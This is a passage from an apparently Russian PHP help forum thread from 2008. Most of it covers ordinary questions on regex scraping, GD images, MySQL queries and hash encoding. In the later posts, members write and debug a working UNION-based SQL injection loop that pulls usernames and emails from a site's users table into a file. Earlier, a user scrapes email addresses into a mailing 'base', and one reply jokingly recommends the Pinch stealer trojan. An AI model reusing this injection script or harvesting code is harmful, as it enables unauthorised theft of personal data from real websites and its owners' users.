"A" а красный опять сделает полный круг и добавит зелёному ещё +1 и теперь будет "B"(В зелёном)

ну получается как в часах секунды идут быстро минуты медлено а часы ещё медленее

Надеюсь вы меня поняли=)

astrologer
17.01.2008, 02:53
В php так тоже можно<pre>
<?php

$str = 'aaa';
$i = 100;

while($i--)
{
echo $str++, "\n";
}

?>
</pre>

Doom123
17.01.2008, 03:14
astrologer, это вы мне? если да то я не понел=)

fudzimaro
17.01.2008, 14:05
Привет!
Ребят помогите пожалуйста, есть текст ну скажем на странице banner.html, а мне нужно что б этот текст стал картинкой такое возможно сделать средставми php+GD?

Ch3ck
17.01.2008, 14:08
Конечно. Регулярками выдрал текст, засунул в переменную и в картинку...

fudzimaro
17.01.2008, 14:35
дело в том что я в php не совсем силён, может наваяите примерный код если не трудно или ткнёте носом в чтиво какое по сабжу
на стр banner.htm текст всегда разный ибо там выводится результат парсинга другой стр.
з.ы хочу сделать типа динамический банер

n3m0
17.01.2008, 14:56
У нас телепатов нету. Для начала дай пример файла banner.html. и какой текст нужно выдраить с него

razzzar
17.01.2008, 15:09
str_replace($prermenaya, "text", "zamena");

fudzimaro
17.01.2008, 15:16
<hr>Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге...<span class=laln>
выдернуть нужно:
Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге

Macro
17.01.2008, 15:21
str_replace($prermenaya, "text", "zamena");
Гг вот и неправильно, и вообще не в тему.

mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int $&count ] )

n3m0
17.01.2008, 15:21
<?php
$a =file_get_contents("http://blablabla.com/banner.html");
preg_match ("#<hr>]*>.*</hr>]*>#isU", $a, $regs);
echo $regs[0];


Пример парсит текст между тегами <hr>text</hr>

Хотя, ты не полный текст дал, может не работать.

lsass.exe
17.01.2008, 15:23
<hr>Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге...<span class=laln>
выдернуть нужно:

$string = "<hr>Сегодня в России одновременно прекратили работу отделения Британского совета при консульствах в Санкт-Петербурге и Екатеринбурге...<span class=laln>";
$string = strip_tags($string);

n3m0
17.01.2008, 15:24
----------------------------

<?php
$a =file_get_contents("http://blablabla.com/banner.html");
preg_match ("#<hr>]*>.*</hr>]*>#isU", $a, $regs);

header ("Content-type: image/png");
$im = @imagecreatetruecolor(120, 20)
or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "'.$regs[0];.'", $text_color);
imagepng($im);
imagedestroy($im);
?>


Выведет текст на чёрном фоне.

:) http://ua.php.net/manual/ru/function.imagecreatetruecolor.php

Macro
17.01.2008, 15:25
2lsass.exe
Думаю, что ему нужно граббить из страницы, где кроме этого еще много чего

bul.666
17.01.2008, 15:54
imagestring($im, 1, 5, 5, "'.$regs[0];.'", $text_color);
Может лучше будет так:
imagestring($im, 1, 5, 5, $regs[0], $text_color);
Кстати ты проверял? Пример картинки бы показал =\

fudzimaro
17.01.2008, 16:05
2 bul.666
вот такая шляпа вылазит (http://i044.radikal.ru/0801/42/9fa260c54167.jpg)
:(

n3m0
17.01.2008, 16:06
$im = @imagecreatetruecolor(120, 20) / (длина, высота) - для начала нужно узнать длину текста, так как будет не влазить в картинку.

Кликни по ссылке, я кусочек кода показал с офф мануала. http://ua.php.net/manual/ru/function.imagecreatetruecolor.php
Там и картинка есть

Все ж есть в документации!

Dr.Z3r0
17.01.2008, 16:09
str_replace($prermenaya, "text", "zamena");
прощу прощения, но синтаксис у этой функции выглядит так:
str_replace('text', 'zamena',$prermenaya);

bul.666
17.01.2008, 16:11
Вот как сделал я:
файл http://bul666.info/ban.html:
<hr>Text on http://bul666.info/ban.html =)<span class=laln>
Файл banner.php:
<?php
$a =file_get_contents("http://bul666.info/ban.html");
preg_match_all ("|<hr>(.*)<|s", $a, $regs);

header ("Content-type: image/png");
$im = @imagecreatetruecolor(500, 20);
$text_color = imagecolorallocate($im, 255, 255, 255);
$fon_color = imagecolorallocate($im, 0, 75, 255);
imagefill($im, 0, 0, $fon_color);
imagestring($im, 12, 2, 2, $regs[1][0], $text_color);
imagepng($im);
imagedestroy($im);
?>

Результат: http://bul666.info/banner.php

NNNS
17.01.2008, 22:22
Есть таблица в БД MySQL
id int(4) | datetime datetime | text varchar(500)

datetime формата (0000-00-00 00:00:00)
Как реализовать выборку за текущий день и текущий месяц?

dinar_007
17.01.2008, 22:43
Есть таблица в БД MySQL
id int(4) | datetime datetime | text varchar(500)

datetime формата (0000-00-00 00:00:00)
Как реализовать выборку за текущий день и текущий месяц?

Вот...
Это за сегодня:
select * from TABLE where date(datetime)=date(now());
Это выборка по определённому дню (если день с 00:00):
select * from TABLE where date(datetime)=date('2008-01-30');

Или просто

select * from TABLE where date(datetime)=''2008-01-30';
По месяцу (если месяц с 1-го числа):
select * from TABLE where month(datetime)+year(datetime)*12=month(now())+yea r(now())*12;

PiNzit
17.01.2008, 22:58
кстати этот вопрос часто задают при приеме на работу

fudzimaro
18.01.2008, 08:06
ребят это сново я, код bul.666 работает на ура но только с кирилицей он не дружит
з.ы всем спасибо выручили

groundhog
18.01.2008, 11:02
dinar_007, бляха-муха... А вот вместо того, чтобы городить такие запросы, не проще ли воспользоваться конструкцией interval?

fudzimaro, что значит не дружит? iconv тебе поможет?

[R]eD
18.01.2008, 14:09
Пишу небольшой двиг, сделал добавку/удаление новостей, в БД есть колонка id она сама присваивает каждой новости свой ид через auto_increment то есть 1,2,3,4...
$query = "INSERT INTO news VALUES(NULL, '$_POST[theme]', '$_POST[text]');
Но потом при удалении одной он отсчетывает дальше, например:
были с ид 1,2,3,4,5,6
затем я удалил 6 и 5

И при добавлении новой уже ставит ид не 5 или 6(т.к новостей с этим ид нет), а продалжает считать 7,8,9..
и это создает кучу проблем.
Помогите..

groundhog
18.01.2008, 14:16
Помогите...
Так и должно быть. Почитай труды Эдгара Кодда... Ты пытаешься бороться с теорией реляционных баз данных. Ты сделал первичный ключ, назначил на него атрибут auto_increment, следовательно ты приказал СУБД следить за целостностью по этому ключу. Это гарантирует, что не возникнет никакой коллизии по этому ключу, скажем у тебя будут записи, которые ссылаются на записи в этой таблице... Понимаешь, что произойдёт? Возможно нарушение логической целостности твоей схемы данных... А так значение каждый раз новое, это гарантирует, что никакой коллизии не будет, т.к. это значение ключа нигде не использовалось.

presidentua
18.01.2008, 14:27
eD']Пишу небольшой двиг, сделал добавку/удаление новостей, в БД есть колонка id она сама присваивает каждой новости свой ид через auto_increment то есть 1,2,3,4...
А что тебе в этом не нравиться. Просто забуть про это поле, пусть МуСкул про него думает.

А если тебе так это надо, так добавть еще одно поле, которое будешь сам заполнять. Тоесть если тебе нужно выставлять порядок высвечивания новостей, то в том поле пусть будет, номер по порядку выведения на экран. А в самом запросе выберешь сортировать по этому новому полю.

groundhog
18.01.2008, 14:32
По просьбе Хелиоса:

Вот тут можно узнать об Кодде:
http://www.kgau.ru/istiki/teis/ch13.html

А вот тут есть неплохая метода по теории баз данных, старой закалки между прочим...
http://www.kgau.ru/istiki/teis/

P(i)n*Fl0p1
18.01.2008, 18:21
Всем здрасте)вообщем у меня проблема есть))
Имеется флэш шаблон (папка в ней library,музыка,2 картинки,и документ браузерский)
Помогите плиз)как поставить этот шаблона на юкозовский сайт?)))и возможно ли вообще это)и чтоб после самого флэш ролика автоматом переходило на сайт)хэлп)

Да,и там когда ролик играет выводятся слова keyword1 keyword2 keyword3 company name)где их изменить?)) :confused: :confused:

dinar_007
18.01.2008, 18:40
dinar_007, бляха-муха... А вот вместо того, чтобы городить такие запросы, не проще ли воспользоваться конструкцией interval?

Через interval ИМХО - сложнее, неудобнее, хотя кому-как... Я там "нагородил" такие запросы для простоты понимания, чтобы было легче понять что к чему...
К datatime прибавить или отнять интервал select now()+ interval 1 mounth
Если отнять интервал от now() и сравнить с datetime то можно выбрать за нужный промежуток...
А если уж хочется что-то попроще, то:

select * from TABLE where date_format(now(),'%m %Y')=date_format('2008-01-19 02:10:20','%m %Y');

dinar_007
18.01.2008, 19:08
Всем здрасте)вообщем у меня проблема есть))
Имеется флэш шаблон (папка в ней library,музыка,2 картинки,и документ браузерский)
Помогите плиз)как поставить этот шаблона на юкозовский сайт?)))и возможно ли вообще это)

На счёт юкозовского сайта - думаю получится, но ХЗ как =) Не люблю этот хостинг почему-то =)
и чтоб после самого флэш ролика автоматом переходило на сайт)хэлп)

Для того чтобы автоматом переходило: как вариант можно будет засечь сколько времени в секундах длиться флеш-клип и в html-страницу между <head></head>добавить:
<META HTTP-EQUIV="Refresh" CONTENT="x; URL=http://dinar007.by.ru/нужная_статаница.html">
Чтобы браузер автоматически переключался на новый адрес через x секунд...

Да,и там когда ролик играет выводятся слова keyword1 keyword2 keyword3 company name)где их изменить?)) :confused: :confused:

Через Macromedia Flash поправь файл с расширением .fla, .swf

P.S. И хватит элементарные вопросы по ХТМЛ задавать в теме о вопросах по PHP...

Isis
19.01.2008, 17:52
<?php
$array = array('768667', '732533', '763637','784556');
function array_count($array, $index )
{
$result = 0;
foreach($array as $element)
{
if ($element === $index) ++ $result;
}
return $result;
}

$indexs = array ();

foreach($array as $index )
{
for($tmp = 0 ; $tmp < 6 ; $tmp ++)
{
$indexs[$tmp][] = $index[$tmp];
}
}

foreach($indexs as $element)
{
$search = 0;
$result = '';
foreach($element as $index)
{
if($search < array_count($element, $index))
{
$result = $index;
$search = array_count($element, $index);
}
}
echo $result;
}
?>

$result выводит число нормально.....но как вывести результ за пределами foreach() ?
Если просто вывод, то будет только последняя цифра..

Helios
19.01.2008, 18:01
$result выводит число нормально.....но как вывести результ за пределами foreach() ?
Если просто вывод, то будет только последняя цифра..

Если я тебя правильно понял, то так:

<?php
$array = array('768667', '732533', '763637','784556');
function array_count($array, $index )
{
$result = 0;
foreach($array as $element)
{
if ($element === $index) ++ $result;
}
return $result;
}

$indexs = array ();
$final = '';

foreach($array as $index )
{
for($tmp = 0 ; $tmp < 6 ; $tmp ++)
{
$indexs[$tmp][] = $index[$tmp];
}
}

foreach($indexs as $element)
{
$search = 0;
$result = '';
foreach($element as $index)
{
if($search < array_count($element, $index))
{
$result = $index;
$search = array_count($element, $index);
}
}
$final .= $result;
}

echo $final;

inlanger
19.01.2008, 22:38
Помогите, пожалуйста, с таким делом...
Есть адрес скрипта, например - _http://liveclix.net/links/104125.js
Как из этого файла выдрать все ссылки и записать их в массив?

Macro
19.01.2008, 22:45
2 inlanger


<?
$c=file_get_contents('http://liveclix.net/links/104125.js');
preg_match_all('|(http://[^\s\'">]+)|i',$c,$matches);
$massiv_s_ssylkami=$matches[1];
?>

NOmeR1
19.01.2008, 22:45
<?
$a = file_get_contents('http://liveclix.net/links/104125.js');
preg_match_all('|<a href=([^>\s\n]+)>|i', $a, $b);
$array = $b[1];
?>
$array - это и будет массив со ссылками.

inlanger
19.01.2008, 22:48
Спасибо. Пойду пробовать...

TLS
20.01.2008, 08:28
Подскажите плиз Type Mime на расширения файлов rar,nth,sisx,cab,sdt . А то у меня загруз ругаетццо. За ранее спасибо!

Doom123
20.01.2008, 09:32
http://www.webmaster-toolkit.com/mime-types.shtml

Вот полный список....

TLS
20.01.2008, 17:33
Нет неодного из тех что я перечислил....

Dimi4
20.01.2008, 19:00
Почему етот скрипт выдает слово "Array" вместо содержымого:

<?
$a = file_get_contents("http://php.spb.ru/php/fake_mail_demo.php");
preg_match_all("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $a, $b);
$array = $b[1];
echo("$b");
$open=fopen("baza.data","w+");
fwrite($open,"\r\n $array");
fclose($open);
?>

scrat
20.01.2008, 19:22
Подскажите плиз Type Mime на расширения файлов rar,nth,sisx,cab,sdt . А то у меня загруз ругаетццо. За ранее спасибо!
Вот тебе скрипт для определения mime-типа.
<?php
if(!isset($_POST['go']))
{
echo "<form enctype=\"multipart/form-data\" action=\"mime.php\" method=\"post\">
<input type=\"file\" name=\"f\"
<input type=\"submit\" name=\"go\">
</form>";
}
else echo $_FILES['f']['type'];
?>

сохрани в файл mime.php

Doom123
20.01.2008, 19:33
Dimi4

$b - т.к это массив .. если хочеш посмотреть определёное знаечение доставь ключ
типа $b[ключ] или просмотри всё что есть в массиве так :

echo "<pre>";
print_r($b);
echo "</pre>";

Dimi4
20.01.2008, 19:42
Doom123
норм, но выводит типа
Array
(
[0] => Array
(
[0] => mavmj@rmkom2003.nf
[1] => mavmj@rmkom2003.nf
[2] => emymm@hmc.tz
[3] => emymm@hmc.tz
[4] => baim@xmmlu.fr
[5] => baim@xmmlu.fr
[6] => yt1no@hotmail.com
[7] => yt1no@hotmail.com
[8] => pehezm@hotmail.com
)
)
как оставить тока мейлы
+++

Dimi4
20.01.2008, 19:50
Я наверное тупой :)
когда хочу записать ето всё в файл, то тоже записывается слово "Array"

...
echo "<pre>";
$put=print_r($b);
echo "</pre>";
$open=fopen("baza.data","w+");
fwrite($open,$b);
fclose($open);
...

Dr.Z3r0
20.01.2008, 19:50
Почему етот скрипт выдает слово "Array" вместо содержымого:

<?
$a = file_get_contents("http://php.spb.ru/php/fake_mail_demo.php");
preg_match_all("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $a, $b);
$array = $b[1];
echo("$b");
$open=fopen("baza.data","w+");
fwrite($open,"\r\n $array");
fclose($open);
?>

$a = file_get_contents("http://php.spb.ru/php/fake_mail_demo.php");
preg_match_all("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $a, $b);
$array = $b[0];
$open=fopen("baza.data","w+");
for($i=0;$i<cout($array);$i++)fwrite($open,$array[$i]."\r\n");
fclose($open);
?>
Вот так будет правильно

Dimi4
20.01.2008, 20:02
спасибо!

Helios
20.01.2008, 20:03
Зачем цикл, если есть для таких целей implode?


string implode ( string glue, array pieces )


<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

?>

Joker-jar
20.01.2008, 20:04
php.net/implode

Dimi4
20.01.2008, 20:22
И ещё:
Ну выдвинул я например мыльники.
Но база выщла типа:

abocms@armex.ru

abocms@armex.ru

abocms@armex.ru

support@armex.ru

support@armex.ru

abocms@armex.ru


Как удалить повторяющиеся мыльники?

bul.666
20.01.2008, 20:27
for($i=0;$i<cout($array);$i++)fwrite($open,$array[$i]."\r\n");
fclose($open);
Для этого есть цикл намного проще и быстрее...
$array = $b[0];
$open=fopen("baza.txt","w");
foreach($array as $str) {
fwrite($open,$str."\r\n");
}
fclose($open);

Dimi4
20.01.2008, 20:36
спасиб, а как почистить лист? пост( #1665 )

mister
20.01.2008, 20:49
php.net/array_unique

Doom123
20.01.2008, 20:53
используй array_unique(); она удалит все совпадения.. ненаю к какому массиву тебе надо помойму к тому что в $b сделй $b=array_unique($b); до $array = $b[0]; по идеи должно выйти

упс опоздал немного=)

bul.666
20.01.2008, 20:57
$array = $b[0];
$new=array_unique($array);
$open=fopen("base_mail.txt","w");
foreach($new as $str) {
fwrite($open,$str."\r\n");
}
fclose($open);

Dimi4
20.01.2008, 21:06
cпасибо дум, бул.

-=lebed=-
22.01.2008, 22:36
Функция кодирования хэша содержит ошибку:

// Функция кодирования строки хэша в hex
function code_hash($s)
{
$n=0;
$hash_code="";
$code="";
$l=strlen($s)-1;
do
{
$code='0x'.$s[$n].$s[$n+1];
$hash_code.=chr(hexdec($code));
$n++;
}
while ($n++<$l);
return $hash_code;
}


Например берём хэш
952f26f83e66b8881ae7e603e1643e901f5b5220
кодируем/декодируем получаем:
952f26f83e66b8881ae7e63e1643e901f5b52

как видно пропали два нуля и двойка (3 символа!)

Функция декодирования:

// Функция декодирования хэша из hex.
function decode_hash($string)
{
$n=0;
$code="";
$decode_hash="";
$l=strlen($string)-1;
do
{
$code=ord($string[$n]);
$decode_hash.=dechex($code);
}
while ($n++<$l);
return $decode_hash;
}


Не пойму где ошибка, то ли в функциях, то ли при занесении в базу закодированного хэша, хелп плиз!

Macro
22.01.2008, 23:21
Лебедь, вместо первой функции используй bin2hex()


function unhex($str)
{
$str=str_replace('0x','',$str);
$unhexed='';
for($i=0;$i<strlen($str);$i+=2)
{
$unhexed.=chr(hexdec(substr($str,$i,2)));
}
return $unhexed;
}

PiNzit
23.01.2008, 03:56
-=lebed=- проверь, скорее всего у тебя в БД колонка ограничена 38 символами...

-=lebed=-
23.01.2008, 11:39
ошибка оказалась в функции декодирования хэша из hex в символьный вид:

// Функция декодирования хэша из hex.
function decode_hash($string)
{
$n=0;
$code="";
$decode_hash="";
$l=strlen($string)-1;
do
{
$code=ord($string[$n]); // вот тут если $code - односимвольное представление, то надо добавить 0 перед ним.
$decode_hash.=dechex($code);
}
while ($n++<$l);
return $decode_hash;
}


Исправил так:

// Функция декодирования хэша из hex-строки в символьное представление.
function decode_hash($string)
{
$n=0;
$code="";
$decode_hash="";
$l=strlen($string)-1;
do
{
$code=ord($string[$n]);
$code1=dechex($code);
if (strlen($code1)==1) $code1="0".$code; // если например $code=3 делаем 03
$decode_hash.=$code1;
}
while ($n++<$l);
return $decode_hash;
}

Macro
23.01.2008, 11:44
Лебедь, я же тебе написал функцию гораздо проще, зачем такой код громоздить?

-=lebed=-
23.01.2008, 12:41
Лебедь, я же тебе написал функцию гораздо проще, зачем такой код громоздить?
Это не то что мне нужно:

string bin2hex ( string str )
Возвращает строку, содержащую шестнадцатиричное представление аргумента str. Преобразование производится побайтно.

То если преобразовать строку хэша 952f26f83e66b8881ae7e603e1643e901f5b5220 то будет вот что:
39353266323666383365363662383838316165376536303365 313634336539303166356235323230
А мне надо получить строку символов, код которых chr(hexdec(95)).chr(hexdec(2f)).chr(hexdec(26)) и т.д.

Macro
23.01.2008, 13:39
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?

-=lebed=-
23.01.2008, 14:02
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?

Я хочу хэши в таблице Мускула хранить в естественном виде (hex).
Т.е. например MD5(128bit) в символьном виде займёт 32 байта, а я хочу 16 байт.
MySQL(64bit) в символьном виде 16 байт, а я хочу 8 и т. д.

PS Тут ещё проблема с экранированием спецсимволов. При запросе автоматом экранируются спецсимволы в $code3 и $code4. А сами слэши в таблицу записываются?

$query = "INSERT INTO ".$db_table." (`passwd`,`code3`,`code4`) VALUES (null,'".$code3."','".$code4."')";
$r=mysql_query($query);

Scipio
23.01.2008, 14:06
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ

-=lebed=-
23.01.2008, 14:12
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
Это в версии 5 PHP появилось, до этого не было... ;)

Scipio
23.01.2008, 14:16
угу в 5, я просто привык уже к 5, вот и не подумал

-=lebed=-
23.01.2008, 14:31
угу в 5, я просто привык уже к 5, вот и не подумал

Замечание: Необязательный аргумент raw_output был добавлен в PHP 5.0.0 и по умолчанию равен FALSE

Я вообще не понимаю логики авторов php. Это должно быть сделано ещё в начальных версиях так и по умолчанию логично чтоб было сразу в бинарном виде. А уж если нада "читаемый" вид хэша получить, то доп. параметр - вот так было бы логичнее...
PS Я так понял исправляют косяки php ранние и чтоб совместимость сохранилась...

cash$$$
24.01.2008, 19:10
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией

tmpfile().

Scipio
24.01.2008, 19:15
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией

tmpfile().

никак, эта функция создает безымянные файлы и работает чисто с дескриптором

lexa
24.01.2008, 19:35
ребят укажите на мою ошибку...
вот скрипт который
1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
2) перебирает id как переменную $i *( id=$i/*'; )*
3) ищет в загруженной странице слово root@"localhost
*(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);)*
и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt


<?

$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),ema il)+from+users+WHERE+id=$i/*';
echo $i.". ";
$str = file_get_contents($filename);
preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);
if(empty($out[1][0])) echo " no mail";
else{
echo " get ".$out[1][0];
fwrite($handler,$out[1][0]."\n");
}
echo "\n";
}
fclose($handler);
?>

но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...

в чем проблема?

Doom123
24.01.2008, 20:34
может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i?

Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =)

думаю тебе этого вполне хватит

<?

$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),ema il)+from+users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out['1'];
$save = $out['1']."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>

lexa
24.01.2008, 23:46
не помогло .. =(( что может быть не так .. ???

Macro
25.01.2008, 00:00
Регулярка очень кривая. Но ничего точно сейчас сказать нельзя, потому что не совсем понятно что надо. Ссылку в студию.

Doom123
25.01.2008, 00:35
не помогло .. =(( что может быть не так .. ???

странно проверял када в файлах мыльники вида root@"localhostE-mail@domain.com"
У меня всё прекрасно писало в файл хз что там не так ... может в скуле дело?

Scipio
25.01.2008, 00:48
<?

$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+1,concat(0x2137333621,username,0x3a ,email,0x2137333621)+from+users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|!736!(.*)!736!|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out[1];
$save = $out[1]."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>

попробуй так, я пвыпимпши немного, так что ту с регулярками разбираться тоже особо не стал но ты не размышляй над кодом, а сначала попробуй, а потом размышляй

lexa
25.01.2008, 02:45
=( не пашет , кстати может я просто в фильтре попутал .. ответ от запроса mysql inj идет следующий..
в тегах <title>root@localhost (Admin:admin@mysite.ru)</title>

Scipio
25.01.2008, 03:39
А че ж ты мозги то паришь тогда:
<?

$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+1,concat(username,0x3a,email)+from+ users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|\((.*)\)|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out[1];
$save = $out[1]."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>

а первый мой код у тебя не работает, потому что ты sql запрос мой исправляешь, причем его (первый вариант) лучше использовать, а вобще действительно как Macro сказал нужна конкретная ссыль, а то так получается "свидание вслепую", я уж не стал тут понармальному делать все просто регулярку подсказал, потому что, без наглядности тут нормально не сделаешь, вобще у тебя в этом скрипте много бесполезных вещей (ну если не много то они все равно есть)

lexa
25.01.2008, 09:17
аааааа все народ ооооггггррррооооомммммннн ноооооееее спасибо разобрался

Scipio - твой первый сткрипт работал , я просто как и сказал mysql запрос забыл поменять .. только сеня заметил как проспался....

cash$$$
25.01.2008, 22:15
Как правильно и наиболее быстро сделать такую операцию:
arr[1] = arr[1] + x

с проверкой на существование индекса в одну строчку и быстро. Т.к. таких операции должно выполниться очень много и чтобы синтаксис был удобочитаемый. Оптимального решения найти не могу.

Dr.Z3r0
25.01.2008, 22:17
if(isset($arr[1]))$arr[1]=$arr[1]+x;
можно еще так:
if(isset($arr[1]))$arr[1]+=x;

Оно?

cash$$$
25.01.2008, 23:04
Да

Doom123
26.01.2008, 00:25
Привет... У меня достаточно глуйпый вопрос...
кароче я делаю авторизацию на сайте и хочу записать кукисы с логином и паролем если они были правельно введены но пхп выводит сообщение о том что заголовок уже отправлен т.к у меня был первый вывод на 1ой строке <html><body background=s.jpg>
но я не могу это убрать т.к это фон страницы ... что мне делать скрипт не пишет куки изза хтмл тэга который незя убирать=)

Macro
26.01.2008, 00:34
что мне делать скрипт не пишет куки изза хтмл тэга который незя убирать=)
Гм. Ну либо используй кэширование вывода, либо меняй куки не header'ом, а с помощью html или javascript. Пару страниц назад был такой вопрос и на него достойно ответили :)

CHIP:))
26.01.2008, 01:59
Какой код вписать в index.php чтобы при разрешении юзера 1024х768 грузился 1.css а при 1280х1024 2.css? или это на яве можно как нибудь сделать?

Piflit
26.01.2008, 03:49
в head прописываешь
<script language="javascript">
if(screen.width=='1280'&&screen.height=='1024'){
document.write('<link rel="stylesheet" type="text/css" href="css1.css">');
};
if(screen.width=='1024'&&screen.height=='768'){
document.write('<link rel="stylesheet" type="text/css" href="css2.css">');
}
</script>

PiNzit
26.01.2008, 04:31
на php никак, на JS используй код приведенный Piflit'ом с той лишь разницей, что лучше ставить не равенство а больше или меньше, так как у меня например разрешение 1152х864 и еслиб я зашел на твой сайт то не загрузился бы ни один, ни другой а следовательно я увидил бы полную ересь и тут же вышел бы и никогда бы уже не вернулся...

cash$$$
27.01.2008, 00:59
Вот скрипт PHP-кода, мне нужно чтобы выполнялся блок 'else':

<?php
$a = 6;
if ($a = 5) {
echo "Все отлично";
}
else {
print <<<HERE
llsdjhvlshlk
dfvsdfvsdfv
dsfvdsfvsdfv
HERE;
}

?>

По-идее должно было бы выполняться условие 'else', но оно не выполняется. А вот если поставить $a == 6;, то то тогда уже оно выполняется... Почему такое отличие?

Spyder
27.01.2008, 01:09
потому что
$a = 5 - так ты присваиваешь переменной $a значение 5 и оно возращает ТРУ, поэтому выполняется блок иф
а когда ты пишешь if ($a == 5) ты проверяешь равна ли переменная $a 5-и



<?php
$a = 6;
if ($a == 5) {
echo "Все отлично";
}
else {
print <<<HERE
llsdjhvlshlk
dfvsdfvsdfv
dsfvdsfvsdfv
HERE;
}

?>

Doom123
27.01.2008, 01:12
= - присвоение переменой какого нибудь значения
== - логическое равенства тоесть 0==0 но также 0==false и наприме тут 1==1 но также 1==true ..true - истина ... false - ложь
=== - это эквилентность с им можно проверить если эта переменая($a) наприер точно ровна этому значению(5) в этом условии 0 не равен false т.к это не одно и тоже

*false равен 0 и пустой строке всё остальное это true

*эквилентность - это сравнение не только 2 выражений а также их типов

4NT1P0V
27.01.2008, 01:28
Подскажите пожалуйста, хочу поставить движрк vBulletin 3,6,8 и не могу установить, тпм надо еще что-то в файле config.php менять что? есть инструкция на русском???? Хелп!!!!!

PiNzit
27.01.2008, 01:41
вообщето там есть специальный установщик, если не ошибаюсь директория /install

4NT1P0V
27.01.2008, 01:43
Захожу туду, install.php и не понятно что написанно!!

presidentua
27.01.2008, 03:12
Только что закачивал файл на ДАМП.РУ и там есть прогресбар, тоесть показывает сколько уже байт загрузилось на сервер.

Как это делается? И вернее на какой стороне, тоесть это реализуется средствами ПХП или может быть это ява-скрипт.

LordsTN
27.01.2008, 09:01
To4NT1P0V,
там если меня память не подводит в папке includes/ файл config.php.new - убираешь расширение new и внутри правишь некоторые опции: т.е.
$config['Database']['dbname'] = '' - имя базы данных
$config['Database']['tableprefix'] = '' - тут префикс
$config['MasterServer']['servername'] = - имя сервера (у тебя вроде localhost)
$config['MasterServer']['username'] = ''; - имя пользователя
$config['MasterServer']['password'] = ''; - тут пасс,
там еще порт для соединения к mysql и т.д. это основные.

cash$$$
27.01.2008, 15:36
Почему $_FILES["file"]["tmp_name"] и $_FILES["file"]["size"] возвращает первый символ названия файла?

Isis
27.01.2008, 15:43
enctype="multipart/form-data"

PiNzit
27.01.2008, 15:45
Только что закачивал файл на ДАМП.РУ и там есть прогресбар, тоесть показывает сколько уже байт загрузилось на сервер.

Как это делается? И вернее на какой стороне, тоесть это реализуется средствами ПХП или может быть это ява-скрипт.
скорее всего это Ajax (JS) а вот на чьей стороне идет непосредственно подсчет не могу сказать, либо на клиенте либо Ajax подгружает с сервера...

4NT1P0V
27.01.2008, 22:42
Описание ошибки: mysql_connect(): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) /home/www/vzlomanet.com/includes/class_core.php on line 274

Невозоможно связаться с Вашей базой данных, т.к. у Вас не прав соединяться с сервером. Пожалуйста, подтвердите значения, введённые в файле 'includes/config.php' .

Такая ошибка, что не так??

$config['Database']['dbname'] =' staant_net';
$config['Database']['tableprefix'] = 'mysql4.freehostia.com';
$config['MasterServer']['servername'] ='localhost';
$config['MasterServer']['username'] ='staant_net';
$config['MasterServer']['password'] = 'qwerty';

4NT1P0V
27.01.2008, 23:00
Пожалуйста подскажите чего не так???? :confused: а то не могу с места сдвинуться!!!

sebbo
28.01.2008, 01:27
Помагите новечку ! Оч шочется научится !!! делать программы и ломать что небуть)) Что нужно для этого??

bul.666
28.01.2008, 01:36
Что нужно для этого??
Скачать pinch последний версии

Spyder
28.01.2008, 01:38
sebbo
прочитай книгу Фленова "Delphi газами хэкера"

4NT1P0V
28.01.2008, 02:02
а мне не поможете????
P.S. кто поможет, тому дам 7*знак icq просто очень нужно.... :) :)

sebbo
28.01.2008, 02:17
Скачать pinch последний версии
а какая последняя???

SchmeL
28.01.2008, 02:17
